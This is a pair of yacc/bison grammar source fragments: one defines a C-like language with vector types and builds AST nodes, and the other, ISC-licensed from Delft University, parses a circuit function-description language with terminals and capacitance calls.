| sizeof unary_expression {$$=ast_newnode(eTOKEN_unary_expression,2,$1,$2);}
| sizeof '(' type_name ')' {$$=ast_newnode(eTOKEN_unary_expression,2,$1,$3);}
| alignof '(' type_name ')' {$$=ast_newnode(eTOKEN_unary_expression,2,$1,$3);}
;
unary_operator
: '&' {$$=ast_newstring(eTOKEN_unary_operator,"&");}
| '*' {$$=ast_newstring(eTOKEN_unary_operator,"*");}
| '+' {$$=ast_newstring(eTOKEN_unary_operator,"+");}
| '-' {$$=ast_newstring(eTOKEN_unary_operator,"-");}
| '~' {$$=ast_newstring(eTOKEN_unary_operator,"~");}
| '!' {$$=ast_newstring(eTOKEN_unary_operator,"!");}
;
cast_expression
: unary_expression {$$=ast_newnode(eTOKEN_cast_expression,1,$1);}
| '(' type_name ')' cast_expression {$$=ast_newnode(eTOKEN_cast_expression,2,$2,$4);}
;
multiplicative_expression
: cast_expression {$$=ast_newnode(eTOKEN_multiplicative_expression,1,$1);}
| multiplicative_expression '*' cast_expression {$$=ast_newnode(eTOKEN_multiplicative_expression_mul,2,$1,$3);}
| multiplicative_expression '/' cast_expression {$$=ast_newnode(eTOKEN_multiplicative_expression_div,2,$1,$3);}
| multiplicative_expression '%' cast_expression {$$=ast_newnode(eTOKEN_multiplicative_expression_mod,2,$1,$3);}
;
additive_expression
: multiplicative_expression {$$=ast_newnode(eTOKEN_additive_expression,1,$1);}
| additive_expression '+' multiplicative_expression {$$=ast_newnode(eTOKEN_additive_expression_add,2,$1,$3);}
| additive_expression '-' multiplicative_expression {$$=ast_newnode(eTOKEN_additive_expression_sub,2,$1,$3);}
;
shift_expression
: additive_expression {$$=ast_newnode(eTOKEN_shift_expression,1,$1);}
| shift_expression left_op additive_expression {$$=ast_newnode(eTOKEN_shift_expression_shl,2,$1,$3);}
| shift_expression right_op additive_expression {$$=ast_newnode(eTOKEN_shift_expression_shr,2,$1,$3);}
;
relational_expression
: shift_expression {$$=ast_newnode(eTOKEN_relational_expression,1,$1);}
| relational_expression '<' shift_expression {$$=ast_newnode(eTOKEN_relational_expression_lt,2,$1,$3);}
| relational_expression '>' shift_expression {$$=ast_newnode(eTOKEN_relational_expression_gt,2,$1,$3);}
| relational_expression le_op shift_expression {$$=ast_newnode(eTOKEN_relational_expression_le,2,$1,$3);}
| relational_expression ge_op shift_expression {$$=ast_newnode(eTOKEN_relational_expression_ge,2,$1,$3);}
;
equality_expression
: relational_expression {$$=ast_newnode(eTOKEN_equality_expression,1,$1);}
| equality_expression eq_op relational_expression {$$=ast_newnode(eTOKEN_equality_expression_eq,2,$1,$3);}
| equality_expression ne_op relational_expression {$$=ast_newnode(eTOKEN_equality_expression_ne,2,$1,$3);}
;
and_expression
: equality_expression {$$=ast_newnode(eTOKEN_and_expression,1,$1);}
| and_expression '&' equality_expression {$$=ast_newnode(eTOKEN_and_expression,2,$1,$3);}
;
exclusive_or_expression
: and_expression {$$=ast_newnode(eTOKEN_exclusive_or_expression,1,$1);}
| exclusive_or_expression '^' and_expression {$$=ast_newnode(eTOKEN_exclusive_or_expression,2,$1,$3);}
;
inclusive_or_expression
: exclusive_or_expression {$$=ast_newnode(eTOKEN_inclusive_or_expression,1,$1);}
| inclusive_or_expression '|' exclusive_or_expression {$$=ast_newnode(eTOKEN_inclusive_or_expression,2,$1,$3);}
;
logical_and_expression
: inclusive_or_expression {$$=ast_newnode(eTOKEN_logical_and_expression,1,$1);}
| logical_and_expression and_op inclusive_or_expression {$$=ast_newnode(eTOKEN_logical_and_expression,2,$1,$3);}
;
logical_or_expression
: logical_and_expression {$$=ast_newnode(eTOKEN_logical_or_expression,1,$1);}
| logical_or_expression or_op logical_and_expression {$$=ast_newnode(eTOKEN_logical_or_expression,2,$1,$3);}
;
conditional_expression
: logical_or_expression {$$=ast_newnode(eTOKEN_conditional_expression,1,$1);}
| logical_or_expression '?' expression ':' conditional_expression {$$=ast_newnode(eTOKEN_conditional_expression,3,$1,$3,$5);}
;
assignment_expression
: conditional_expression {$$=ast_newnode(eTOKEN_assignment_expression,1,$1);}
| unary_expression assignment_operator assignment_expression {$$=ast_newnode(eTOKEN_assignment_expression,3,$1,$2,$3);}
;
assignment_operator
: '=' {$$=ast_newtoken(eTOKEN_assignment_operator,0);}
| mul_assign {$$=ast_newnode(eTOKEN_assignment_operator_mul,1,$1);}
| div_assign {$$=ast_newnode(eTOKEN_assignment_operator_div,1,$1);}
| mod_assign {$$=ast_newnode(eTOKEN_assignment_operator_mod,1,$1);}
| add_assign {$$=ast_newnode(eTOKEN_assignment_operator_add,1,$1);}
| sub_assign {$$=ast_newnode(eTOKEN_assignment_operator_sub,1,$1);}
| left_assign {$$=ast_newnode(eTOKEN_assignment_operator_left,1,$1);}
| right_assign {$$=ast_newnode(eTOKEN_assignment_operator_right,1,$1);}
| and_assign {$$=ast_newnode(eTOKEN_assignment_operator_and,1,$1);}
| xor_assign {$$=ast_newnode(eTOKEN_assignment_operator_xor,1,$1);}
| or_assign {$$=ast_newnode(eTOKEN_assignment_operator_or,1,$1);}
;
expression
: assignment_expression {$$=ast_newnode(eTOKEN_expression,1,$1);}
| expression ',' assignment_expression {$$=ast_newnode(eTOKEN_expression,2,$1,$3);}
;
constant_expression
: conditional_expression {$$=ast_newnode(eTOKEN_constant_expression,1,$1);} /* with constraints */
;
declaration
: declaration_specifiers ';' {$$=ast_newnode(eTOKEN_declaration,1,$1);}
| declaration_specifiers init_declarator_list ';' {$$=ast_newnode(eTOKEN_declaration,2,$1,$2);}
| static_assert_declaration {$$=ast_newnode(eTOKEN_declaration,1,$1);}
| class_declaration {$$=ast_newnode(eTOKEN_declaration,1,$1);}
;
declaration_specifiers
: storage_class_specifier declaration_specifiers {$$=ast_newnode(eTOKEN_declaration_specifiers,2,$1,$2);}
| storage_class_specifier {$$=ast_newnode(eTOKEN_declaration_specifiers,1,$1);}
| type_specifier declaration_specifiers {$$=ast_newnode(eTOKEN_declaration_specifiers,2,$1,$2);}
| type_specifier {$$=ast_newnode(eTOKEN_declaration_specifiers,1,$1);}
| type_qualifier declaration_specifiers {$$=ast_newnode(eTOKEN_declaration_specifiers,2,$1,$2);}
| type_qualifier {$$=ast_newnode(eTOKEN_declaration_specifiers,1,$1);}
| function_specifier declaration_specifiers {$$=ast_newnode(eTOKEN_declaration_specifiers,2,$1,$2);}
| function_specifier {$$=ast_newnode(eTOKEN_declaration_specifiers,1,$1);}
| alignment_specifier declaration_specifiers {$$=ast_newnode(eTOKEN_declaration_specifiers,2,$1,$2);}
| alignment_specifier {$$=ast_newnode(eTOKEN_declaration_specifiers,1,$1);}
;
init_declarator_list
: init_declarator {$$=ast_newnode(eTOKEN_init_declarator_list,1,$1);}
| init_declarator_list ',' init_declarator {$$=ast_newnode(eTOKEN_init_declarator_list,2,$1,$3);}
;
init_declarator
: declarator '=' initializer {$$=ast_newnode(eTOKEN_init_declarator,2,$1,$3);}
| declarator {$$=ast_newnode(eTOKEN_init_declarator,1,$1);}
;
storage_class_specifier
: typedef {$$=ast_newnode(eTOKEN_storage_class_specifier,1,$1);} /* identifiers must be flagged as typedef_name */
| extern {$$=ast_newnode(eTOKEN_storage_class_specifier,1,$1);}
| static {$$=ast_newnode(eTOKEN_storage_class_specifier,1,$1);}
| share {$$=ast_newnode(eTOKEN_storage_class_specifier,1,$1);}
| global {$$=ast_newnode(eTOKEN_storage_class_specifier,1,$1);}
| auto {$$=ast_newnode(eTOKEN_storage_class_specifier,1,$1);}
| register {$$=ast_newnode(eTOKEN_storage_class_specifier,1,$1);}
;
type_specifier
: void {$$=ast_newnode(eTOKEN_type_specifier,1,$1);}
| char {$$=ast_newnode(eTOKEN_type_specifier,1,$1);}
| short {$$=ast_newnode(eTOKEN_type_specifier,1,$1);}
| int {$$=ast_newnode(eTOKEN_type_specifier,1,$1);}
| long {$$=ast_newnode(eTOKEN_type_specifier,1,$1);}
| float {$$=ast_newnode(eTOKEN_type_specifier,1,$1);}
| float2 {$$=ast_newnode(eTOKEN_type_specifier,1,$1);}
| float4 {$$=ast_newnode(eTOKEN_type_specifier,1,$1);}
| float8 {$$=ast_newnode(eTOKEN_type_specifier,1,$1);}
| float16 {$$=ast_newnode(eTOKEN_type_specifier,1,$1);}
| double {$$=ast_newnode(eTOKEN_type_specifier,1,$1);}
| signed {$$=ast_newnode(eTOKEN_type_specifier,1,$1);}
| unsigned {$$=ast_newnode(eTOKEN_type_specifier,1,$1);}
| bool {$$=ast_newnode(eTOKEN_type_specifier,1,$1);}
| complex {$$=ast_newnode(eTOKEN_type_specifier,1,$1);}
| imaginary {$$=ast_newnode(eTOKEN_type_specifier,1,$1);} /* non-mandated extension */
| atomic_type_specifier {$$=ast_newnode(eTOKEN_type_specifier,1,$1);}
| struct_or_union_specifier {$$=ast_newnode(eTOKEN_type_specifier,1,$1);}
| enum_specifier {$$=ast_newnode(eTOKEN_type_specifier,1,$1);}
| typedef_name {$$=ast_newnode(eTOKEN_type_specifier,1,$1);} /* after it has been defined as such */
| result {$$=ast_newnode(eTOKEN_type_specifier,1,$1);}
| pointer_scope {$$=ast_newnode(eTOKEN_type_specifier,1,$1);}
;
struct_or_union_specifier
: struct_or_union '{' struct_declaration_list '}' {$$=ast_newnode(eTOKEN_struct_or_union_specifier,2,$1,$3);}
| struct_or_union identifier '{' struct_declaration_list '}' {$$=ast_newnode(eTOKEN_struct_or_union_specifier,3,$1,$2,$4);}
| struct_or_union identifier {$$=ast_newnode(eTOKEN_struct_or_union_specifier,2,$1,$2);}
;
struct_or_union
: struct {$$=ast_newnode(eTOKEN_struct_or_union,1,$1);}
| union {$$=ast_newnode(eTOKEN_struct_or_union,1,$1);}
;
struct_declaration_list
: struct_declaration {$$=ast_newnode(eTOKEN_struct_declaration_list,1,$1);}
| struct_declaration_list struct_declaration {$$=ast_newnode(eTOKEN_struct_declaration_list,2,$1,$2);}
;
struct_declaration
: specifier_qualifier_list ';' {$$=ast_newnode(eTOKEN_struct_declaration,1,$1);} /* for anonymous struct/union */
| specifier_qualifier_list struct_declarator_list ';' {$$=ast_newnode(eTOKEN_struct_declaration,2,$1,$2);}
| static_assert_declaration {$$=ast_newnode(eTOKEN_struct_declaration,1,$1);}
;
specifier_qualifier_list
: type_specifier specifier_qualifier_list {$$=ast_newnode(eTOKEN_specifier_qualifier_list,2,$1,$2);}
| type_specifier {$$=ast_newnode(eTOKEN_specifier_qualifier_list,1,$1);}
| type_qualifier specifier_qualifier_list {$$=ast_newnode(eTOKEN_specifier_qualifier_list,2,$1,$2);}
| type_qualifier {$$=ast_newnode(eTOKEN_specifier_qualifier_list,1,$1);}
;
struct_declarator_list
: struct_declarator {$$=ast_newnode(eTOKEN_struct_declarator_list,1,$1);}
| struct_declarator_list ',' struct_declarator {$$=ast_newnode(eTOKEN_struct_declarator_list,2,$1,$3);}
;
struct_declarator
: ':' constant_expression {$$=ast_newnode(eTOKEN_struct_declarator,1,$2);}
| declarator ':' constant_expression {$$=ast_newnode(eTOKEN_struct_declarator,2,$1,$3);}
| declarator {$$=ast_newnode(eTOKEN_struct_declarator,1,$1);}
;
enum_specifier
: enum '{' enumerator_list '}' {$$=ast_newnode(eTOKEN_enum_specifier,1,$3);}
| enum '{' enumerator_list ',' '}' {$$=ast_newnode(eTOKEN_enum_specifier,1,$3);}
| enum identifier '{' enumerator_list '}' {$$=ast_newnode(eTOKEN_enum_specifier,2,$2,$4);}
| enum identifier '{' enumerator_list ',' '}' {$$=ast_newnode(eTOKEN_enum_specifier,2,$2,$4);}
| enum identifier {$$=ast_newnode(eTOKEN_enum_specifier,1,$2);}
;
enumerator_list
: enumerator {$$=ast_newnode(eTOKEN_enumerator_list,1,$1);}
| enumerator_list ',' enumerator {$$=ast_newnode(eTOKEN_enumerator_list,2,$1,$3);}
;
enumerator /* identifiers must be flagged as enum_constant */
: enumeration_constant '=' constant_expression {$$=ast_newnode(eTOKEN_enumerator,2,$1,$3);}
| enumeration_constant {$$=ast_newnode(eTOKEN_enumerator,1,$1);}
;
atomic_type_specifier
: atomic '(' type_name ')' {$$=ast_newnode(eTOKEN_atomic_type_specifier,1,$3);}
;
type_qualifier
: const {$$=ast_newnode(eTOKEN_type_qualifier,1,$1);}
| restrict {$$=ast_newnode(eTOKEN_type_qualifier,1,$1);}
| volatile {$$=ast_newnode(eTOKEN_type_qualifier,1,$1);}
| atomic {$$=ast_newnode(eTOKEN_type_qualifier,1,$1);}
;
function_specifier
: inline {$$=ast_newnode(eTOKEN_function_specifier,1,$1);}
| kernel {$$=ast_newnode(eTOKEN_function_specifier,1,$1);}
| noreturn {$$=ast_newnode(eTOKEN_function_specifier,1,$1);}
;
class_specifier
: nt1 {$$=ast_newnode(eTOKEN_class_specifier,1,$1);}
| nt2 {$$=ast_newnode(eTOKEN_class_specifier,1,$1);}
| nt4 {$$=ast_newnode(eTOKEN_class_specifier,1,$1);}
| nt8 {$$=ast_newnode(eTOKEN_class_specifier,1,$1);}
| nt16 {$$=ast_newnode(eTOKEN_class_specifier,1,$1);}
;
alignment_specifier
: alignas '(' type_name ')' {$$=ast_newnode(eTOKEN_alignment_specifier,2,$1,$3);}
| alignas '(' constant_expression ')' {$$=ast_newnode(eTOKEN_alignment_specifier,2,$1,$3);}
;
declarator
: pointer direct_declarator {$$=ast_newnode(eTOKEN_declarator,2,$1,$2);}
| direct_declarator {$$=ast_newnode(eTOKEN_declarator,1,$1);}
;
direct_declarator
: identifier {$$=ast_newnode(eTOKEN_direct_declarator1,1,$1);}
| '(' declarator ')' {$$=ast_newnode(eTOKEN_direct_declarator2,1,$2);}
| direct_declarator '[' ']' {$$=ast_newnode(eTOKEN_direct_declarator3,1,$1);}
| direct_declarator '[' '*' ']' {$$=ast_newnode(eTOKEN_direct_declarator4,1,$1);}
| direct_declarator '[' static type_qualifier_list assignment_expression ']' {$$=ast_newnode(eTOKEN_direct_declarator5,4,$1,$3,$4,$5);}
| direct_declarator '[' static assignment_expression ']' {$$=ast_newnode(eTOKEN_direct_declarator6,3,$1,$3,$4);}
| direct_declarator '[' type_qualifier_list '*' ']' {$$=ast_newnode(eTOKEN_direct_declarator7,2,$1,$3);}
| direct_declarator '[' type_qualifier_list static assignment_expression ']' {$$=ast_newnode(eTOKEN_direct_declarator8,4,$1,$3,$4,$5);}
| direct_declarator '[' type_qualifier_list assignment_expression ']' {$$=ast_newnode(eTOKEN_direct_declarator9,3,$1,$3,$4);}
| direct_declarator '[' type_qualifier_list ']' {$$=ast_newnode(eTOKEN_direct_declarator10,2,$1,$3);}
| direct_declarator '[' assignment_expression ']' {$$=ast_newnode(eTOKEN_direct_declarator11,2,$1,$3);}
| direct_declarator '(' parameter_type_list ')' {$$=ast_newnode(eTOKEN_direct_declarator12,2,$1,$3);}
| direct_declarator '(' ')' {$$=ast_newnode(eTOKEN_direct_declarator13,1,$1);}
| direct_declarator '(' identifier_list ')' {$$=ast_newnode(eTOKEN_direct_declarator14,2,$1,$3);}
;
pointer
: '*' type_qualifier_list pointer {$$=ast_newnode(eTOKEN_pointer,2,$2,$3);}
| '*' type_qualifier_list {$$=ast_newnode(eTOKEN_pointer,1,$2);}
| '*' pointer {$$=ast_newnode(eTOKEN_pointer,1,$2);}
| '*' {$$=ast_newnode(eTOKEN_pointer,0);}
;
type_qualifier_list
: type_qualifier {$$=ast_newnode(eTOKEN_type_qualifier_list,1,$1);}
| type_qualifier_list type_qualifier {$$=ast_newnode(eTOKEN_type_qualifier_list,2,$1,$2);}
;
parameter_type_list
: parameter_list ',' ellipsis {$$=ast_newnode(eTOKEN_type_qualifier_list,1,$1);}
| parameter_list {$$=ast_newnode(eTOKEN_type_qualifier_list,1,$1);}
;
parameter_list
: parameter_declaration {$$=ast_newnode(eTOKEN_parameter_list,1,$1);}
| parameter_list ',' parameter_declaration {$$=ast_newnode(eTOKEN_parameter_list,2,$1,$3);}
;
parameter_declaration
: declaration_specifiers declarator {$$=ast_newnode(eTOKEN_parameter_declaration,2,$1,$2);}
| declaration_specifiers abstract_declarator {$$=ast_newnode(eTOKEN_parameter_declaration,2,$1,$2);}
| declaration_specifiers {$$=ast_newnode(eTOKEN_parameter_declaration,1,$1);}
;
identifier_list
: identifier {$$=ast_newnode(eTOKEN_identifier_list,1,$1);}
| identifier_list ',' identifier {$$=ast_newnode(eTOKEN_identifier_list,2,$1,$3);}
;
type_name
: specifier_qualifier_list abstract_declarator {$$=ast_newnode(eTOKEN_type_name,2,$1,$2);}
| specifier_qualifier_list {$$=ast_newnode(eTOKEN_type_name,1,$1);}
;
abstract_declarator
: pointer direct_abstract_declarator {$$=ast_newnode(eTOKEN_abstract_declarator,2,$1,$2);}
| pointer {$$=ast_newnode(eTOKEN_abstract_declarator,1,$1);}
| direct_abstract_declarator {$$=ast_newnode(eTOKEN_abstract_declarator,1,$1);}
;
direct_abstract_declarator
: '(' abstract_declarator ')' {$$=ast_newnode(eTOKEN_direct_abstract_declarator,1,$2);}
| '[' ']' {$$=ast_newnode(eTOKEN_direct_abstract_declarator,0);}
| '[' '*' ']' {$$=ast_newnode(eTOKEN_direct_abstract_declarator,0);}
| '[' static type_qualifier_list assignment_expression ']' {$$=ast_newnode(eTOKEN_direct_abstract_declarator,3,$2,$3,$4);}
| '[' static assignment_expression ']' {$$=ast_newnode(eTOKEN_direct_abstract_declarator,2,$2,$3);}
| '[' type_qualifier_list static assignment_expression ']' {$$=ast_newnode(eTOKEN_direct_abstract_declarator,3,$2,$3,$4);}
| '[' type_qualifier_list assignment_expression ']' {$$=ast_newnode(eTOKEN_direct_abstract_declarator,2,$2,$3);}
| '[' type_qualifier_list ']' {$$=ast_newnode(eTOKEN_direct_abstract_declarator,1,$2);}
| '[' assignment_expression ']' {$$=ast_newnode(eTOKEN_direct_abstract_declarator,1,$2);}
| direct_abstract_declarator '[' ']' {$$=ast_newnode(eTOKEN_direct_abstract_declarator,1,$1);}
| direct_abstract_declarator '[' '*' ']' {$$=ast_newnode(eTOKEN_direct_abstract_declarator,1,$1);}
| direct_abstract_declarator '[' static type_qualifier_list assignment_expression ']' {$$=ast_newnode(eTOKEN_direct_abstract_declarator,3,$1,$3,$4);}
| direct_abstract_declarator '[' static assignment_expression ']' {$$=ast_newnode(eTOKEN_direct_abstract_declarator,3,$1,$3,$4);}
| direct_abstract_declarator '[' type_qualifier_list assignment_expression ']' {$$=ast_newnode(eTOKEN_direct_abstract_declarator,3,$1,$3,$4);}
| direct_abstract_declarator '[' type_qualifier_list static assignment_expression ']' {$$=ast_newnode(eTOKEN_direct_abstract_declarator,4,$1,$3,$4,$5);}
| direct_abstract_declarator '[' type_qualifier_list ']' {$$=ast_newnode(eTOKEN_direct_abstract_declarator,2,$1,$3);}
| direct_abstract_declarator '[' assignment_expression ']' {$$=ast_newnode(eTOKEN_direct_abstract_declarator,2,$1,$3);}
| '(' ')' {$$=ast_newnode(eTOKEN_direct_abstract_declarator,0);}
| '(' parameter_type_list ')' {$$=ast_newnode(eTOKEN_direct_abstract_declarator,1,$2);}
| direct_abstract_declarator '(' ')' {$$=ast_newnode(eTOKEN_direct_abstract_declarator,1,$1);}
| direct_abstract_declarator '(' parameter_type_list ')' {$$=ast_newnode(eTOKEN_direct_abstract_declarator,2,$1,$3);}
;
initializer
: '{' initializer_list '}' {$$=ast_newnode(eTOKEN_initializer,1,$2);}
| '{' initializer_list ',' '}' {$$=ast_newnode(eTOKEN_initializer,1,$2);}
| assignment_expression {$$=ast_newnode(eTOKEN_initializer,1,$1);}
;
initializer_list
: designation initializer {$$=ast_newnode(eTOKEN_initializer_list,2,$1,$2);}
| initializer {$$=ast_newnode(eTOKEN_initializer_list,1,$1);}
| initializer_list ',' designation initializer {$$=ast_newnode(eTOKEN_initializer_list,2,$1,$3);}
| initializer_list ',' initializer {$$=ast_newnode(eTOKEN_initializer_list,2,$1,$3);}
;
designation
: designator_list '=' {$$=ast_newnode(eTOKEN_designation,1,$1);}
;
designator_list
: designator {$$=ast_newnode(eTOKEN_designator_list,1,$1);}
| designator_list designator {$$=ast_newnode(eTOKEN_designator_list,2,$1,$2);}
;
designator
: '[' constant_expression ']' {$$=ast_newnode(eTOKEN_designator,1,$2);}
| '.' identifier {$$=ast_newnode(eTOKEN_designator,1,$2);}
;
static_assert_declaration
: static_assert '(' constant_expression ',' string_literal ')' ';' {$$=ast_newnode(eTOKEN_static_assert_declaration,3,$1,$3,$5);}
;
statement
: labeled_statement {$$=ast_newnode(eTOKEN_statement,1,$1);}
| compound_statement {$$=ast_newnode(eTOKEN_statement,1,$1);}
| expression_statement {$$=ast_newnode(eTOKEN_statement,1,$1);}
| selection_statement {$$=ast_newnode(eTOKEN_statement,1,$1);}
| iteration_statement {$$=ast_newnode(eTOKEN_statement,1,$1);}
| jump_statement {$$=ast_newnode(eTOKEN_statement,1,$1);}
;
labeled_statement
: identifier ':' statement {$$=ast_newnode(eTOKEN_labeled_statement,2,$1,$3);}
| case constant_expression ':' statement {$$=ast_newnode(eTOKEN_labeled_statement,2,$2,$4);}
| default ':' statement {$$=ast_newnode(eTOKEN_labeled_statement,2,$1,$3);}
;
compound_statement
: '{' '}' {$$=ast_newnode(eTOKEN_compound_statement,0);}
| '{' block_item_list '}' {$$=ast_newnode(eTOKEN_compound_statement,1,$2);}
;
block_item_list
: block_item {$$=ast_newcodeblock(eTOKEN_block_item_list,1,$1);}
| block_item_list block_item {$$=ast_newcodeblock(eTOKEN_block_item_list,2,$1,$2);}
;
block_item
: declaration {$$=ast_newnode(eTOKEN_block_item,1,$1);}
| statement {$$=ast_newnode(eTOKEN_block_item,1,$1);}
;
expression_statement
: ';' {$$=ast_newnode(eTOKEN_expression_statement,0);}
| expression ';' {$$=ast_newnode(eTOKEN_expression_statement,1,$1);}
;
selection_statement
: if '(' expression ')' statement else statement {$$=ast_newnode(eTOKEN_selection_statement,3,$3,$5,$7);}
| if '(' expression ')' statement {$$=ast_newnode(eTOKEN_selection_statement,2,$3,$5);}
| switch '(' expression ')' statement {$$=ast_newnode(eTOKEN_switch_statement,2,$3,$5);}
;
iteration_statement
: while '(' expression ')' statement {$$=ast_newnode(eTOKEN_iteration_while_statement,2,$3,$5);}
| do statement while '(' expression ')' ';' {$$=ast_newnode(eTOKEN_iteration_do_while_statement,2,$2,$5);}
| for '(' expression_statement expression_statement ')' statement {$$=ast_newnode(eTOKEN_iteration_for_statement,4,$1,$3,$4,$6);}
| for '(' expression_statement expression_statement expression ')' statement {$$=ast_newnode(eTOKEN_iteration_for_statement,5,$1,$3,$4,$5,$7);}
| for '(' declaration expression_statement ')' statement {$$=ast_newnode(eTOKEN_iteration_for_statement,4,$1,$3,$4,$6);}
| for '(' declaration expression_statement expression ')' statement {$$=ast_newnode(eTOKEN_iteration_for_statement,5,$1,$3,$4,$5,$7);}
;
jump_statement
: goto identifier ';' {$$=ast_newnode(eTOKEN_jump_statement,2,$1,$2);}
| continue ';' {$$=ast_newnode(eTOKEN_jump_statement,1,$1);}
| break ';' {$$=ast_newnode(eTOKEN_jump_statement,1,$1);}
| return ';' {$$=ast_newnode(eTOKEN_jump_statement,1,$1);}
| return expression ';' {$$=ast_newnode(eTOKEN_jump_statement,2,$1,$2);}
;
translation_unit
: external_declaration {$$=ast_newcodeblock(eTOKEN_translation_unit,1,$1);root=$$;}
| translation_unit external_declaration {$$=ast_newcodeblock(eTOKEN_translation_unit,2,$1,$2);root=$$;}
;
external_declaration
: function_definition {$$=ast_newnode(eTOKEN_external_declaration,1,$1);}
| declaration {$$=ast_newnode(eTOKEN_external_declaration,1,$1);}
;
class_name
: identifier {$$=ast_newnode(eTOKEN_class_name,1,$1);}
;
class_declaration_list
: class_name {$$=ast_newcodeblock(eTOKEN_class_declaration_list,1,$1);}
| class_declaration_list ',' class_name {$$=ast_newcodeblock(eTOKEN_class_declaration_list,2,$1,$3);}
;
class_declaration
: class_specifier class class_declaration_list ';' {$$=ast_newnode(eTOKEN_class_declaration,2,$1,$3);}
;
function_definition
: declaration_specifiers declarator declaration_list compound_statement {$$=ast_newnode(eTOKEN_function_definition1,4,$1,$2,$3,$4);}
| declaration_specifiers declarator compound_statement {$$=ast_newnode(eTOKEN_function_definition2,3,$1,$2,$3);}
declaration_list
: declaration {$$=ast_newnode(eTOKEN_declaration_list,1,$1);}
| declaration_list declaration {$$=ast_newnode(eTOKEN_declaration_list,2,$1,$2);}
;
pointer_scope : POINTER_SCOPE '<' pointer_scope_list '>' {$$=ast_newnode(eTOKEN_POINTER_SCOPE,1,$3);}
| POINTER_SCOPE {$$=ast_newtoken(eTOKEN_POINTER_SCOPE,0);}
;
pointer_scope_list
: identifier {$$=ast_newnode(eTOKEN_pointer_scope_list,1,$1);}
| pointer_scope_list ',' identifier {$$=ast_newnode(eTOKEN_pointer_scope_list,2,$1,$3);}
;
%%
#include <stdio.h>
|
%{
/*
* ISC License
*
* Copyright (C) 1987-2018 by
* <NAME>
* <NAME>
* Delft University of Technology
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include "src/cfun/func_parsedefs.h"
FTERM *ftrm_list = NULL;
FTERM *trm_buf = NULL;
char Func_name[DM_MAXNAME+1];
char name_buf[BUFSIZ];
char ind0tmp[BUFSIZ];
char ind1tmp[BUFSIZ];
int indvar = 0;
int indvar0 = 0;
int indvar1 = 0;
int trunc_warn = 0;
int adm_bsalloc_flag = 0;
%}
%union {
int ival;
char cval;
char *sval;
}
%token <sval> IDENTIFIER INTEGER
%token OUTPUT INOUT INPUT INREAD STATE
%token DELAY MODE CAPADD STATCAP DYNCAP CAPVAL
%token FUNCTION SEMICOLON COMMA
%token LOADL INITL BEHAVIOR END
%token LSB RSB LCB RCB LPS RPS
%token CHAR INT FLOAT DOUBLE
%token NODE VICIN MIN MAX
%type <ival> trm_type type_decl_list type_decl
%type <ival> state_type state_decl_list state_decl_part
%type <sval> index trm_index
%type <sval> name func_name terminal terminal_list
%type <sval> state_decl decl_part
%type <ival> vicin minmax
%start total_descr
%%
total_descr : parts_C sls_descr parts_C
;
parts_C : /* empty */
;
sls_descr : func_descr
;
func_descr : func_head func_body
;
func_head : func_call decl_part state_decl_part
{
print_func_head('L');
}
;
func_call : FUNCTION func_name
{
strcpy(Func_name,$2);
}
;
func_name : name
;
decl_part : LPS type_decl_list RPS
{
}
;
type_decl_list : type_decl
{
$$ = $1;
}
| type_decl_list SEMICOLON type_decl
{
$$ = $1;
}
;
type_decl : trm_type terminal_list
{
ftrm_list=add_list(ftrm_list,trm_buf,$1);
/* trm_buf is added to the */
/* final list ftrm_list */
trm_buf=NULL;
}
;
state_decl_part : /* empty */
{
}
| STATE LCB state_decl_list RCB
{
}
;
state_decl_list : state_type state_decl SEMICOLON
{
ftrm_list=add_list(ftrm_list,trm_buf,$1);
/* trm_buf is added to the */
/* final list ftrm_list */
trm_buf=NULL;
}
| state_decl_list state_type state_decl SEMICOLON
{
ftrm_list=add_list(ftrm_list,trm_buf,$2);
/* trm_buf is added to the */
/* final list ftrm_list */
trm_buf=NULL;
}
;
state_decl : terminal_list
;
terminal_list : terminal
{
check_term(trm_buf,$1,indvar0,indvar1);
trm_buf=fill_list(trm_buf,$1,
atoi(ind0tmp),atoi(ind1tmp),
NoPlace,NoType);
/* when a terminal is alright, it */
/* is placed in the list trm_buf */
$$ = $1;
}
| terminal_list COMMA terminal
{
check_term(ftrm_list,$3,indvar0,indvar1);
trm_buf=fill_list(trm_buf,$3,
atoi(ind0tmp),atoi(ind1tmp),
NoPlace,NoType);
/* when a terminal is alright, it */
/* is placed in the list trm_buf */
$$ = $3;
}
;
terminal : name trm_index
{
$$ = $1;
}
;
trm_type : OUTPUT
{
$$ = OutpTerm;
}
| INOUT
{
$$ = InoTerm;
}
| INPUT
{
$$ = InpTerm;
}
| INREAD
{
$$ = InrTerm;
}
;
state_type : CHAR
{
$$ = StateChar;
}
| INT
{
$$ = StateInt;
}
| FLOAT
{
$$ = StateFloat;
}
| DOUBLE
{
$$ = StateDouble;
}
;
func_body : load_body init_body behav_body
;
load_body : /* empty */
{
print_func_foot();
fprintf(yyout,"\n}\n");
lineno (yylineno);
print_func_head('I');
}
| LOADL init_code
{
print_func_head('I');
}
;
init_body : /* empty */
{
print_func_foot();
fprintf(yyout,"\n}\n");
lineno (yylineno);
print_func_head('E');
}
| INITL init_code
{
print_func_head('E');
}
;
behav_body : /* empty */
{
print_func_foot();
fprintf(yyout,"\n}\n");
lineno (yylineno);
}
| BEHAVIOR behav_code
;
init_code : /* empty */
| routine_call
| init_code routine_call
;
behav_code : /* empty */
| routine_call
| behav_code routine_call
;
routine_call : DELAY MODE expr COMMA terminal RPS
{
delay_eval($5,ind0tmp,ind1tmp,indvar0,indvar1);
}
| CAPADD expr COMMA terminal RPS
{
capadd_eval($4,ind0tmp,ind1tmp,indvar0,indvar1);
}
| statcap_call
| dyncap_call
| cap_call
;
statcap_call : STATCAP LPS vicin COMMA minmax COMMA terminal RPS
{
getcap_eval("statcap", $3, $5, $7, ind0tmp, ind1tmp, indvar0, indvar1);
}
;
